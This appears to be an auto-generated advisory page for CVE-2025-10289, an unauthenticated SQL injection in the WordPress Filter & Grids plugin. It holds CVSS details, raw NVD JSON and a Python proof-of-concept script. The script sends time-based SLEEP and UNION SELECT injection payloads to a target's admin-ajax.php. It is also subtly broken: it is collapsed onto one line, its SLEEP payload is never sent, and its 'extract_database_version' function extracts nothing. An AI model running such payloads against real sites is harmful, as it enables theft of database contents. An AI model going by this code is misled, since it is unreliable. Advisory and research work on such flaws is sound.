Security Vulnerability Report
中文
CVE-2025-10289 CVSS 5.9 MEDIUM

CVE-2025-10289

Published: 2025-12-13 16:16:45
Last Modified: 2026-04-15 00:35:42

Description

The Filter & Grids plugin for WordPress is vulnerable to SQL Injection via the 'phrase' parameter in all versions up to, and including, 3.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This only works on MariaDB as the query results in a syntax error on MySQL.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

ymc-smart-filter (WordPress Filter & Grids plugin) <= 3.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-10289 SQL Injection PoC # Target: WordPress Filter & Grids Plugin (<=3.2.0) # Vulnerability: Unauthenticated SQL Injection via 'phrase' parameter # Note: This only works on MariaDB, not MySQL def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in WordPress Filter & Grids plugin The 'phrase' parameter is vulnerable to SQL injection """ params = { 'phrase': payload, 'action': 'ymc_search_posts', 'post_type': 'post' } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def extract_database_version(target_url): """ Extract MariaDB version using SQL injection """ payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- " print(f"[*] Testing blind SQL injection...") # Example UNION-based extraction union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- " print(f"[*] Testing UNION-based extraction...") result = exploit_sqli(target_url, union_payload) return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-10289.py <target_url>") print("Example: python cve-2025-10289.py http://example.com/wp-admin/admin-ajax.php") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Vulnerability: CVE-2025-10289 - WordPress Filter & Grids SQL Injection") # Test basic injection result = extract_database_version(target) print(f"[+] Response: {result[:500]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10289", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:44.830", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Filter & Grids plugin for WordPress is vulnerable to SQL Injection via the 'phrase' parameter in all versions up to, and including, 3.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This only works on MariaDB as the query results in a syntax error on MySQL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3378420%40ymc-smart-filter&new=3378420%40ymc-smart-filter&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f8bbab6e-ed2f-4b90-a658-aae85906d06e?source=cve", "source": "[email protected]"}]}}